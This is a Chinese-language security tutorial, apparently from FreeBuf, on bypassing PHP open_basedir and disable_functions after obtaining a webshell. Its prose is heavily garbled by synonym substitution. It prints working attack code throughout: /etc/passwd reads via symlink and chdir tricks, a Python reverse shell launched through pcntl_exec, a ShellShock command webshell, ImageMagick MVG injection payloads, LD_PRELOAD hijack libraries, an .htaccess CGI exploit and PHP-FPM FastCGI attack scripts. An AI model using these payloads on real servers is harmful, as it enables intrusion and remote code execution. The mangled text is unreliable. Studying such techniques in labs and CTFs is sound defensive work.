建站策划涉及哪一方面—php中函数禁用绕过的原

········· 顾客服务 企业服务 ··· 生产制造制造行业vip会员会员专区 CNCERT CNNVD

创作管理方法管理中心

官方网网手机微信微信公众号企业安全性性新浪网网新浪网新浪微博

FreeBuf.COM互连网安全性性生产制造制造行业门户网网,每日发布技术性技术专业的安全性性新闻报道新闻资讯、技术性性剖析。

FreeBuf+手机微信微信小程序把安全性性放入包装袋

php中涵数严禁应用避开的基本概念与应用

php中涵数严禁应用避开的基本概念与应用

15:48:54 bypass disable function

不是是遇到过费劲九牛二虎之力拿了webshell却发现连个scandir都推行不了?拿了webshell确实是一件迅速乐的事情,可是状况下却仅仅只是一个小阶段的结束;原文中将会以webshell作为起止点从头开始刚开始到尾来整理bypass disable function的各种各样各种各样姿势。
[标识:內容1]

原文中涉及到到相关实验:(依据本实验学精依据宽字节数数方式避开mysql_real_escape_string()、addslashes()这两个涵数。)

从phpinfo中得到可用信息内容內容

信息内容內容收集并不是可欠缺的一环;一一样的,大伙儿在依据初期各种各样各种各样工作中中获得取得成功推行编号 or 发现了一个phpinfo网页页面网页页面之后,会从该网页页面网页页面中搜集一些可用信息内容內容有利于过后系统软件系统漏洞的寻找。

我谈一谈我曾人的许多个侧重点:

版本号号号

最品牌形象化的就是php版本号号号(虽然版本号号号有时候候候会在响应头抽出現),如我的机器设备上版本号号号为:

PHP Version 7.2.9-1

那么找寻版本号号号后便会综合性性看一下不是是有什么"版本号号专享"系统软件系统漏洞可以应用。

DOCUMENT_ROOT

接下来就是查找一下DOCUMENT_ROOT得到网站现如今相对性相对路径,虽然广泛的都是在/var/www/html,但在所难免有例外。

disable_functions

它是原文中的重要,disable_functions简言之涵数严禁应用,以网编的kali当然自然环境为例子子,默认设置设定就严禁应用了下列涵数:

如一些ctf题会把disable设置的极其恶心想吐想吐,就算大伙儿在递交马儿到网站以后发现什么也做不到,那么这时候的避开就是原文中需要讲的内容了。

open_basedir

该配置限制了现如今php程序可以访问到的相对性相对路径,如网编设置了:

 ?php
ini_set('open_basedir', '/var/www/html:' .'/tmp');
phpinfo();

然后大伙儿能够看到phpinfo抽出現下列:

尝试scandir会发现列网站网站根目录不了功。

 ?php
ini_set('open_basedir', '/var/www/html:' .'/tmp');
//phpinfo();
var_dump(scandir("."));
var_dump(scandir("/"));
//array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) "index.html" [3]=> string(23) "index.nginx-debian.html" [4]=> string(11) "phpinfo.php" } bool(false)
opcache

倘若运用了opcache,那么可能做到getshell,但务必存在文本文档递交的点,马上看联接:

others

如文本文档包含时候辨协议书书籍是并不是可用的两个配置项:

allow_url_include、allow_url_fopen

递交webshell时候辨不是是可用短标志的配置项:

short_open_tag

也是有一些会在下边中提及。

bypass open_basedir

因为有时候候务必根据题目辨别采用哪种bypass方式,同时,能够列文档文件目录对于下一步检验有非常大帮助,这儿列举几种比较广泛的bypass方式,均从p神blog摘出,明显强烈推荐阅读文章文章内容p神blog全篇,这儿仅作简易总结。

syslink

symlink ( string$target, string$link) : bool

symlink()对于目前的target建立一个全名是link的标识连接。

简单来说就是建立软链做到bypass。

编号进行下列:

 ?php
symlink("abc/abc/abc/abc","tmplink"); 
symlink("tmplink/../../../../etc/passwd", "exploit"); 
unlink("tmplink"); 
mkdir("tmplink");

最开始是创建一个link,将tmplink用相对性性相对性相对路径偏重abc/abc/abc/abc,接着创出建一个link,将exploit偏重tmplink/../../../../etc/passwd,这时候就十分于exploit偏重了abc/abc/abc/abc/../../../../etc/passwd,也就十分于exploit偏重了./etc/passwd,这时候删除tmplink文本文档后创出建tmplink文档文件目录,这时候就变为/etc/passwd获得取得成功跨文档文件目录。

访问exploit便可以加载到/etc/passwd。

glob

检索匹配的文本文档相对性相对路径方法,是php自5.3.0版本号号起一开始见效的一个用以选择文档文件目录的伪协议书书

普遍bypass方式下列:

 ?php
$c = "glob:///*";
$a = new DirectoryIterator($c);
foreach($a as $f){
 echo($f->__toString().' br>');

但会发现比较奇特的是仅有列举网站网站根目录下的文本文档。

chdir()与ini_set()

chdir是变动现如今工作中中相对性相对路径。

mkdir('test');
chdir('test');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
echo file_get_contents('/etc/passwd');

应用了ini_set的open_basedir的设计方案计划方案缺陷,可以用于下编号观察一下其bypass整个过程:

 ?php
ini_set('open_basedir', '/var/www/html:' .'/tmp');
mkdir('test');
chdir('test');
ini_set('open_basedir','..');
printf(' b>open_basedir : %s /b> br />', ini_get('open_basedir'));
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
printf(' b>open_basedir : %s /b> br />', ini_get('open_basedir'));
//open_basedir : ..
//open_basedir : /
bindtextdomain

该涵数的第二个关键主要参数为一个文本文档相对性相对路径,最先看编号:

 ?php
ini_set('open_basedir', '/var/www/html:' .'/tmp');
printf(' b>open_basedir: %s /b> br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', '/etc/passwd');
var_dump($re);
$re = bindtextdomain('xxx', '/etc/passw');
var_dump($re);
//open_basedir: /var/www/html:/tmp
//string(11) "/etc/passwd" bool(false)

可以看到当文本文档不容易有时候返回标值false,因为兼容问题应用使用通配符,该方法仅有能用于linux下的暴力行为个人行为猜解文本文档。

Realpath

一样是依据错误,但realpath在windows下可让用应用使用通配符 和>进行列举,脚本制作制作选节自p神blog:

 ?php
ini_set('open_basedir', dirname(__FILE__));
printf(" b>open_basedir: %s /b> br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i strlen($chars); $i++) { 
 $file = $dir . $chars[$i] . ' > 
 realpath($file);
function isexists($errno, $errstr)
 $regexp = '/File\((.*)\) is not within/';
 preg_match($regexp, $errstr, $matches);
 if (isset($matches[1])) {
 printf("%s br/>", $matches[1]);
other

如命令推行客观性客观事实上并不是受open_basedir的伤害的。

bypass disable function

蚁剑最新项目仓库中有一个各种各样各种各样disable的检验当然自然环境可以复现,务必当然自然环境的教师傅可以选用蚁剑的当然自然环境。

个人信用信用黑名单提高

这一理应是是非非常简易的方式,就是寻找替代涵数来推行,如system可以采用如反引号来替代推行命令。

看几种广泛用于推行系统软件手机软件命令的涵数:

system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``

当然了这类也常常出现在disable function中,那么可以寻找可以比较十分非常容易被忽略的涵数,依据涵数 or 涵数字能量数组成拳来推行命令。

反引号:最十分非常容易被忽略的点,推行命令但回显务必互相相互配合其他涵数,可以反跳shellpcntl_exec:整体总体目标机器设备若存在python,可用php推行python反跳shell
 ?php 
pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>
ShellShock基本概念

本质是应用bash破壳系统软件系统漏洞(CVE-2014-6271)。

伤害范围在于bash 1.14 – 4.3

关键在于:

目前的bash脚本制作制作是以依据导出来来源于然自然环境变量的方式可用自定涵数,也可将自定的bash涵数传输给子相关全过程。一般涵数人体的编号并不是会强制性实行,但此系统软件系统漏洞会歪斜确的将“{}”花括弧外的命令进行推行。

本地验证方法:

在shell中推行下面命令:

env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"

推行命令后,倘若显示信息信息内容Vulnerable CVE-2014-6271,证系统软件手机软件存在系统软件系统漏洞,可变更echo Vulnerable CVE-2014-6271为随便命令进行推行。

详尽:

因为是设置当然自然环境变量,而在php中存在着putenv可以设置当然自然环境变量,互相相互配合开启子全过程来让实际上行命令。

应用

 ?php
function shellshock($cmd) {
 $tmp = tempnam(".","data"); 
 putenv("PHP_LOL=() { x; }; $cmd >$tmp 2> 
 error_log('a',1);
 $output = @file_get_contents($tmp); 
 @unlink($tmp); 
 if($output != "") return $output; 
 else return "No output, or not vuln."; 
echo shellshock($_REQUEST["cmd"]); 

将exp递交后便可以推行系统软件手机软件命令bypass disable,都不干了多过量诠释。

ImageMagick基本概念

系统软件系统漏洞来源于于CVE-2016-3714,ImageMagick是一款相片处理程序,但当顾客传入一张有意相片时,会造成命令引进,在这其中也是有其他如ssrf、文本文档加载等,当然最致命性性的没什么疑惑就是指令引进。

而在系统软件系统漏洞出来之后各位教师傅想起到php扩展中也运用了ImageMagick,当然也就存在着系统软件系统漏洞的可能,并且因为系统软件系统漏洞的基本概念是马上推行系统软件手机软件命令,因而也都不存在不是是被disable的可能,因此可以被用于bypass disable。

相关更加详细的系统软件系统漏洞分析能看p神的文章内容內容:,我马上摘取全篇中比较具有梳理性的系统软件系统漏洞说明:

系统软件系统漏洞报告中得到的POC是应用了下列的这一受权授权委托:

 delegate decode="https" command=""curl" -s -k -o "%o" "https:%M""/>

它在剖析https相片的状况下,运用了curl命令将其完全免费免费下载,大伙儿看到%M被马上放进curl的最后一个关键主要参数内。ImageMagick默认设置设定可用一种相片文档文件格式,叫mvg,而mvg与svg文档文件格式相仿,在这其中是以文本方法加载矢量素材素材图片图的内容,而这在这其中即可以包含https处理整个过程。

因而大伙儿可以构造一个.mvg文档文件格式的相片(但文本文档名可以不因.mvg,比如下边的图上包含payload的文本文档的文本文档全名是vul.gif,而ImageMagick会根据在其中容辨别为mvg相片),并在后面闭合双引号,加载本身要推行的命令:

push graphic-context
viewbox 0 0 640 480
fill 'url("|id; ")'
pop graphic-context

那般,ImageMagick在一切一切正常推行相片转换、处理的状况下便会打开系统软件系统漏洞。

系统软件系统漏洞的应用极其简单,只务必构造一张有意的相片,new一个类便可以打开该系统软件系统漏洞:

 ?php
new Imagick('test.mvg');
应用

那么仍然以靶场名叫例,仍然以拥有一句话马儿为前提条件标准,大伙儿最开始递交一个相片,如上面所述的大伙儿相片的后缀名名无需mvg,因此递交一个jpg相片:

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 '127.0.0.1/x.php?x=`cat /etc/passwd > /var/www/html/success`'
pop graphic-context

那么因为大伙儿看不到回显,因而可以考虑到到将结果加载到文本文档中,或者马上推行反跳shell。

接着如上递交一个poc.php:

 ?php
new Imagick('vul.jpg');

访问便可以看到大伙儿加载的文本文档。

那么这一流程颇为复杂(当我们们们务必多次推行命令进行检验时就务必多次调整相片内容),因此大伙儿可以写一个php马来西亚阿拉瓦动态性性传入命令:

 ?php
$command = $_GET['cmd'];
if ($command == '') {
 $command = 'whoami>success';
$exploit = EOF
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 '127.0.0.1/x.php?x=`$command`'
pop graphic-context
file_put_contents("test.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('test.mvg');
$thumb->writeImage('test.png');
$thumb->clear();
$thumb->destroy();
unlink("test.mvg");
unlink("test.png");
LD_PRELOAD

赞叹不已的LD_PRELOAD,它就是我学习培训学习培训web时遇到的第一个bypass disable的方式,自己觉得很趣味。

基本概念

LD_PRELOAD是Linux系统软件手机软件的一个当然自然环境变量,它可以伤害程序的运行时的联接(Runtime linker),它允许你定义在程序运行前优先选择挑选加载的动态性性联接库。这一功效重要就是用以有选择性的载入不一样动态性性联接库文档的一样涵数。依据这一当然自然环境变量,大伙儿可以在主程序和其动态性性联接库的中间加载别的动态性性联接库,甚至遮住一切一切正常的涵数库。一方面,大伙儿可以因此功效来运用本身的或是更强的涵数(无需别人的源码),而此外一方面,大伙儿还能够以向别人的程序引进程序,从而保证独特的目的。

而大伙儿bypass的关键就是应用LD_PRELOAD加载库优先选择挑选的特点来要大家本身编写的动态性性联接库优先选择挑选于一切一切正常的涵数库,因此做到推行system命令。

因为id命令比较有利于观察,在网络上文章内容內容也大同市市小异采用了id命令下的getuid/getgid来做检验,为做下试验网编换以便

大伙儿最先看一下id命令的开启涵数:

strace -f /usr/bin/id

Resulut:

close(3) = 0
geteuid32() = 0
getuid32() = 0
getegid32() = 0
getgid32() = 0
(省掉....)
getgroups32(0, NULL) = 1
getgroups32(1, [0]) = 1

这儿可以看到有许多涵数可以编写,我选择getgroups32,大伙儿可以用man命令查寻一下涵数的定义:

man getgroups32

看到这逐一一部分:

得到了涵数的定义,大伙儿只务必编写在其中的getgroups便可以,因此我编写一个hack.c:

#include stdlib.h>
#include sys/types.h>
#include unistd.h>
int getgroups(int size, gid_t list[]){
 unsetenv("LD_PRELOAD");
 system("echo 'i hack it'");
 return 1;

接着运用gcc编译程序程序成一个动态性性联接库:

gcc -shared -fPIC hack.c -o hack.so

运用LD_PRELOAD加载并推行id命令,大伙儿会得到下列的结果:

再聊变动一下uid检验,大伙儿先adduser一个新顾客户hhhm,推行id命令结果下列:

接着根据上面的步骤得到getuid32的涵数定义,从而来编写一个hack.c:

#include stdlib.h>
#include dlfcn.h>
#include unistd.h>
#include sys/types.h>
uid_t geteuid( void ) { return 0; }
uid_t getuid( void ) { return 0; }
uid_t getgid( void ) { return 0; }

gcc编译程序程序后,推行,结果下列:

可以看到大伙儿的uid获得取得成功变为1,且变动为root了,当然了因为大伙儿的hack.so是root管理方法管理权限编译程序程序出来的,在一定规范下也许可以用该类方式来提权,在网络上也是有相关文章内容內容,可是我没实际尝试过都不干了丝毫毫无疑问问的称呼。

下面看一下在php中如何互相相互配合应用做到bypass disable。

php中的应用

php中重要是务必互相相互配合putenv涵数,倘若该涵数被ban了那么也就没他啥事了,因而bypass前务必观察disable不是是ban掉putenv。

php中的应用根据大神傅们的文章内容內容我重要获得出下面几种应用方式,具体上质都是大同市市小异,务必寻找一个涵数接着采用一样的体系遮住掉其涵数进而推行系统软件手机软件命令。

那么大伙儿遭受限定于disable,system等推行系统软件手机软件命令的涵数无法运用,而若要想让php开启外部程序来进一步做到推行系统软件手机软件命令从而做到bypass就仅有借助与php描述器本身。

因此有一个大前提条件标准就是务必从php描述器中启动子全过程。

老套路之mail

先挑选一台具有sendmail的机器设备,网编是运用kali,先在php中加载下列编号

 ?php
mail("","","","");

一样的可让用strace来追踪涵数的推行整个过程。

strace -f php phpinfo.php 2>&1 | grep execve

可以看到这儿开启了sendmail,与在网络上的文章内容內容一样的大伙儿可以追踪sendmail来查寻其开启整个过程,或者运用readelf可以查寻其运用涵数:

strace sendmail

那么以上面的方式编写并编译程序程序一个动态性性联接库接着应用LD_PRELOAD去推行大伙儿的命令,这就是老套路的应用。

因为没有回显,为方便快捷查寻具体实际效果我写了一个ls>test,因此hack.c下列:

#include stdlib.h>
#include dlfcn.h>
#include unistd.h>
#include sys/types.h>
uid_t geteuid( void ) { system("ls>test"); return 0; }
uid_t getuid( void ) { return 1; }
uid_t getgid( void ) { return 0; }

一样的gcc编译程序程序后,网页页面网页页面加载下列:

 ?php
putenv("LD_PRELOAD=./hack.so");
mail("","","","");

访问网页页面网页页面得到运行具体实际效果下列:

再提一个我都在应用整个过程中进错的点,这儿为检验,我换用一台没有sendmail的ubuntu:

但倘若大伙儿按照上面的步骤马上追踪index的推行而可是滤挑选execve会发现一样存在着geteuid,并且但这一件事儿实上是sh开启的并不是mail开启的,因此倘若大伙儿运用php index.php来开启会发现system推行获得取得成功,但倘若大伙儿依据网页页面网页页面来访问则会发现推行不了功,它是一个在应用整个过程中务必注意的点,这也就是为什么大伙儿会运用管道符来挑选execve。

第一个execve为php描述器启动的全过程,随后者就是大伙儿必须要的sendmail子全过程。

error_log

一样的除开mail会开启sendmail之外,也是有error_log也会开启,如图所示所显示:


ps:当error_log的type为1时便会开启到sendmail。

因此上面针对于mail涵数的伎俩对于error_log一样能用,however,大伙儿会发现该类遭劫持都只是针对某一个涵数,而前边所做的都是借助与sendmail,而像整体总体目标机器设备倘若不容易有sendmail,那么前边的做法就完全无用。

yangyangwithgnu教师傅在其文谈及了大伙儿无须局限性性于仅遭劫持某一涵数,而应考虑遭劫持共享资源資源总体目标。

遭劫持共享资源資源总体目标

全文中运用赶到下列编号编写的库:

#define _GNU_SOURCE
#include stdlib.h>
#include unistd.h>
#include sys/types.h>
__attribute__ ((__constructor__)) void anything (void){
 unsetenv("LD_PRELOAD");
 system("ls>test");

那么相关__attribute__ ((__constructor__))自己掌握是其会在共享资源資源库加载时运行,也就是程序启动时运行,那么这一步的应用一样务必有前边说到的启动子全过程这一个大前提条件标准,也就是务必有相仿于mail、Imagick可以令php描述器启动新全过程的涵数。

一样的将LD_PRELOAD特殊为gcc编译程序程序的共享资源資源库,接着访问网页页面网页页面查寻,会发现获得取得成功将ls提及test下(倘若不了功请检查写管理方法管理权限难点)

0ctf 2019中Wallbreaker Easy中的出题点就是采用了imagick在处理一些独特后缀名名文本文档时,会开启ffmpeg,也就是会开启子全过程,从而做到加载共享资源資源库推行系统软件手机软件命令bypass disable。

Apache Mod CGI

前边的二种应用都务必putenv,倘若putenv被ban了那么就务必这种方式,简单详尽详细介绍一下基本概念。

基本概念

应用htaccess遮住apache配置,提高cgi程序做到推行系统软件手机软件命令,客观性客观事实高宽比一致递交htaccess剖析png文本文档为php程序的应用方式大同市市小异。

mod cgi:

一切具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文本文档都将被作为CGI脚本制作制作对待并由互联网网络服务器运行,它的输出将被返回给消费者端。可以依据二种方法使文本文档变为CGI脚本制作制作,一种是文本文档具有已由AddType指令定义的扩展名,此外一种是文本文档位于于ScriptAlias文档文件目录中。

因此大伙儿只要递交一个.htaccess:

Options +ExecCGI //使运行cgi程序的推行
AddHandler cgi-script .test //将test后缀名名的文本文档剖析为cgi程序
应用

应用就十分简易了:

递交htaccess,内容为前文个人所得出的内容递交a.test,内容为:
#!/bin/bash
echo&&ls

给a.test管理方法管理权限,访问便可以得到推行结果。

PHP-FPM

php-fpm确信有阅读文章者在配置php当然自然环境情况下遇到,如运用nginx+php情况下在配置文本文档中配置下列:

location ~ .php$ {
root html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;

那么看一下百度搜索检索百度搜索百度百科中相关php-fpm的详尽详细介绍:

PHP-FPM(FastCGI Process Manager:FastCGI全过程管理方法方式器)是一个PHPFastCGI管理方法方式器,对于PHP 5.3.3之前的php来说,是一个补丁下载免费下载包 [1] ,致力于于将FastCGI全过程管理方法方式结合进PHP包中。倘若你运用的是PHP5.3.3之前的PHP的话,就尽量将它patch到你的PHP源代码中,在编译程序程序安装PHP后才可让用。

那么fastcgi也是什么?Fastcgi 是一种通讯协议书书,用于Web互联网网络服务器与后端开发开发设计语言的数据信息信息内容交换。

基本概念

那么大伙儿在配置了php-fpm后如访问,那么会被剖析为下列键值对:

{
 'GATEWAY_INTERFACE': 'FastCGI/1.0',
 'REQUEST_METHOD': 'GET',
 'SCRIPT_FILENAME': '/var/www/html/test.php',
 'SCRIPT_NAME': '/test.php',
 'QUERY_STRING': '?test=1',
 'REQUEST_URI': '/test.php?test=1',
 'DOCUMENT_ROOT': '/var/www/html',
 'SERVER_SOFTWARE': 'php/fcgiclient',
 'REMOTE_ADDR': '127.0.0.1',
 'REMOTE_PORT': '12304',
 'SERVER_ADDR': '127.0.0.1',
 'SERVER_PORT': '80',
 'SERVER_NAME': "localhost",
 'SERVER_PROTOCOL': 'HTTP/1.1'

这一数据动能数字能量数组很了解,会发现具体上就是$_SERVER里面的逐一一部分,那么php-fpm获得这一总数组以后寻找SCRIPT_FILENAME的值,对于这儿的/var/www/html/test.php,接着去推行它。

前边网编留了一个配置,在配置里能见到fastcgi的端口号号是9000,监控详尽详细地址是127.0.0.1,那么倘若详尽详细地址为0.0.0.0,也便是将其裸露到公网中,倘若大伙儿假冒与fastcgi通信,那般便会导致远程控制操纵编号推行。

那么客观性客观事实上php-fpm通信方式有tcp也就是9000端口号号的哪一个,以及socket的通信,因此也存在着二种攻击方式。

socket方式的话配置文本文档会出現下列:

fastcgi_pass unix:/var/run/phpfpm.sock;

那么大伙儿可以稍微把握一下fastcgi的协议书书组成,其由很多record组成,这儿摘抄一下p神中的一段结构体:

typedef struct {
 /* Header */
 unsigned char version; // 版本号号
 unsigned char type; // 本次record的类型
 unsigned char requestIdB1; // 本次record相符合的乞求id
 unsigned char requestIdB0;
 unsigned char contentLengthB1; // body体的规格
 unsigned char contentLengthB0;
 unsigned char paddingLength; // 额外块规格
 unsigned char reserved; 
 /* Body */
 unsigned char contentData[contentLength];
 unsigned char paddingData[paddingLength];
} FCGI_Record;

可以看到record分为header以及body,在这其中header固定不动没动为8字节数数,而body由其contentLength管理决策,而paddingData为储存段,无需時间度置为0。

而type的值从1-7有各种各样各种各样作用,当其type=4时,后端开发开发设计便会将其body剖析成key-value,看到key-value可能会很了解,沒有错,就是大伙儿前边看到的那一个键值大部分组,也就是当然自然环境变量。

那么在学习培训学习培训系统软件系统漏洞应用之前,大伙儿务必把握两个当然自然环境变量,

PHP_VALUE:可以设置方法为PHP_INI_USER和PHP_INI_ALL的挑选项PHP_ADMIN_VALUE:可以设置所有挑选项(除开disable_function)

那么以p神全文中的应用方式大伙儿务必考虑到三个规范:

找寻一个己知的php文本文档应用上述两个当然自然环境变量将auto_prepend_file设置为php://input开启php://input务必考虑到的规范:allow_url_include为on

这时候掌握文本文档包含系统软件系统漏洞的朋友就一目了然了,大伙儿可以推行随便编号了。

这儿应用的情况为:

'PHP_VALUE': 'auto_prepend_file = php://input'
'PHP_ADMIN_VALUE': 'allow_url_include = On'
应用

大伙儿先马上看phpinfo如何标示大伙儿可否应用该系统软件系统漏洞进行攻击。

那么先以攻击tcp为例子子,倘若大伙儿假冒nginx消息推送数据信息信息内容(fastcgi封裝的数据信息信息内容)给php-fpm,那般便会造成随便编号推行系统软件系统漏洞。

p神早就写好了一个,因为对外开放对外开放fastcgi为0.0.0.0的情况客观性客观事实高宽比一致攻击內部网相近,因而这儿可以尝试一下攻击127.0.0.1也就是攻击內部网的情况,那么客观性客观事实上中家可以互相相互配合gopher协议书书来攻击內部网的fpm,因为与原文中主题风格设计风格不符合合都不多讲。

python a.py 127.0.0.1 -p 9000 /var/www/html/phpinfo.php -c ' ?php echo `id`;exit;?>'

可以看到结果如图所示所显示所显示信息:

攻击获得取得成功后大伙儿去查寻一下phpinfo见面到下列:

也就是说大伙儿构造的攻击包为:

{
 'GATEWAY_INTERFACE': 'FastCGI/1.0',
 'REQUEST_METHOD': 'GET',
 'SCRIPT_FILENAME': '/var/www/html/phpinfo.php',
 'SCRIPT_NAME': '/phpinfo.php',
 'QUERY_STRING': '',
 'REQUEST_URI': '/phpinfo.php',
 'DOCUMENT_ROOT': '/var/www/html',
 'SERVER_SOFTWARE': 'php/fcgiclient',
 'REMOTE_ADDR': '127.0.0.1',
 'REMOTE_PORT': '12304',
 'SERVER_ADDR': '127.0.0.1',
 'SERVER_PORT': '80',
 'SERVER_NAME': "localhost",
 'SERVER_PROTOCOL': 'HTTP/1.1',
 'PHP_VALUE': 'auto_prepend_file = php://input',
 'PHP_ADMIN_VALUE': 'allow_url_include = On'

很明显的前边常说的都是开创的;可是客观性客观事实上我这儿是没有加上disable的情况,大伙儿往里加上disable再尝试。

pkill php-fpm
/usr/sbin/php-fpm7.0 -c /etc/php/7.0/fpm/php.ini

注意修改了ini文本文档后再次起动fpm务必特殊ini。

我往disable里压了一个system:

pcntl_alarm,system,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

接着再推行一下exp,可以发现被disable了:

因此该类方法还没有法做到bypass disable的作用,那么无须忘掉了大伙儿的两个php_value能够修改的其实不仅仅只是auto_prepend_file,并且的大伙儿还可以修改basedir来避开;在先前的避开姿势广州中山大学家是应用赶到so文本文档推行扩展库来bypass,那么这儿一样可以修改extension为大伙儿编写的so库来推行系统软件手机软件命令,具体应用有教师傅早就写了应用脚本制作制作,客观性客观事实上蚁剑中的手机软件早就能进行了该bypass的功效了,那么下面我马上对蚁剑中手机软件如何进行bypass做一个简练分析。

在推行蚁剑的手机软件情况下发现其在现如今文档文件目录转换变成一个.antproxy.php文本文档,那么大伙儿过后的bypass都是依据该文本文档来推行,那么最先看一下这一shell的编号:

 ?php
function get_client_header(){
 $headers=array();
 foreach($_SERVER as $k=>$v){
 if(strpos($k,'HTTP_')===0){
 $k=strtolower(preg_replace('/^HTTP/', '', $k));
 $k=preg_replace_callback('/_\w/','header_callback',$k);
 $k=preg_replace('/^_/','',$k);
 $k=str_replace('_','-',$k);
 if($k=='Host') continue;
 $headers[]="$k:$v";
 return $headers;
function header_callback($str){
 return strtoupper($str[0]);
function parseHeader($sResponse){
 list($headerstr,$sResponse)=explode("
",$sResponse, 2);
 $ret=array($headerstr,$sResponse);
 if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
 $ret=parseHeader($sResponse);
 return $ret;
set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 60882;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";
if (!empty($_SERVER['QUERY_STRING'])){
 $url .= "?".$_SERVER['QUERY_STRING'];
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
 return false;
$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
 $method = "POST";
 $post_data = file_get_contents('php://input');
$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {
 $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
$out .= "Content-length:".strlen($post_data)."\r\n";
$out .= implode("\r\n",$headers);
$out .= "\r\n\r\n";
$out .= "".$post_data;
fputs($fp, $out);
$response = '';
while($row=fread($fp, 4096)){
 $response .= $row;
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;

精确精准定位到关键编号:

$headers=get_client_header();
$host = "127.0.0.1";
$port = 60882;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";
if (!empty($_SERVER['QUERY_STRING'])){
 $url .= "?".$_SERVER['QUERY_STRING'];
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);

可以看到它这儿向60882端口号号进行通信,客观性客观事实上这儿蚁剑运用/bin/sh -c php -n -S 127.0.0.1:60882 -t /var/www/html开启了一个新的php服务,并且不可用php.ini,因此也都不存在disable了,那么大伙儿在观察实际上行整个过程会发现其仍在tmp文档文件目录下递交了一个so文本文档,那么到此大伙儿言之言之有理由推理出其依据攻击php-fpm修改其extension为在tmp文档文件目录下递交的扩展库,客观性客观事实上从此软件的源码中还能够得知确实如此:

那么启动了该php server后大伙儿的流量就依据antproxy.php共享到无disabel的php server上,这时候就获得取得成功做到bypass。

加载so扩展

前边虽然描述了其基本概念,但终归基本基础理论与实践活动主题活动有一定的区别,因此大伙儿可以本身打一下extension进行检验。

so文本文档可以从这之中得到,根据其提示编译程序程序便可以得到ant.so的库,修改php-fpm的php.ini,加上:

extension=/var/www/html/ant.so

接着再次起动php-fpm,倘若运用下列:

 ?php
antsystem("ls");

获得取得成功推行命令时即说明扩展获得取得成功加载,那么大伙儿再把ini修补为本前的样子,大伙儿尝试马上攻击php-fpm来修改其配置项。

以脚本制作制作来攻击:

import requests
sess = requests.session()
def execute_php_code(s):
 res = sess.post('192.168.242.5/index.php', data={"a": s})
 return res.text

* @param String $host Host of the FastCGI application * @param Integer $port Port of the FastCGI application public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket $this->_host = $host; $this->_port = $port; * Define whether or not the FastCGI application should keep the connection * alive at the end of a request * @param Boolean $b true if the connection should stay alive, false otherwise public function setKeepAlive($b) $this->_keepAlive = (boolean)$b; if (!$this->_keepAlive && $this->_sock) { fclose($this->_sock); * Get the keep alive status * @return Boolean true if the connection should stay alive, false otherwise public function getKeepAlive() return $this->_keepAlive; * Create a connection to the FastCGI application private function connect() if (!$this->_sock) { $this->_sock = fsockopen($this->_host); var_dump($this->_sock); if (!$this->_sock) { throw new Exception('Unable to connect to FastCGI application'); * Build a FastCGI packet * @param Integer $type Type of the packet * @param String $content Content of the packet * @param Integer $requestId RequestId private function buildPacket($type, $content, $requestId = 1) $clen = strlen($content); return chr(self::VERSION_1) /* version */ . chr($type) /* type */ . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ . chr($requestId & 0xFF) /* requestIdB0 */ . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */ . chr($clen & 0xFF) /* contentLengthB0 */ . chr(0) /* paddingLength */ . chr(0) /* reserved */ . $content; /* content */ * Build an FastCGI Name value pair * @param String $name Name * @param String $value Value * @return String FastCGI Name value pair private function buildNvpair($name, $value) $nlen = strlen($name); $vlen = strlen($value); if ($nlen 128) { /* nameLengthB0 */ $nvpair = chr($nlen); } else { /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen if ($vlen 128) { /* valueLengthB0 */ $nvpair .= chr($vlen); } else { /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen /* nameData & valueData */ return $nvpair . $name . $value; * Read a set of FastCGI Name value pairs * @param String $data Data containing the set of FastCGI NVPair * 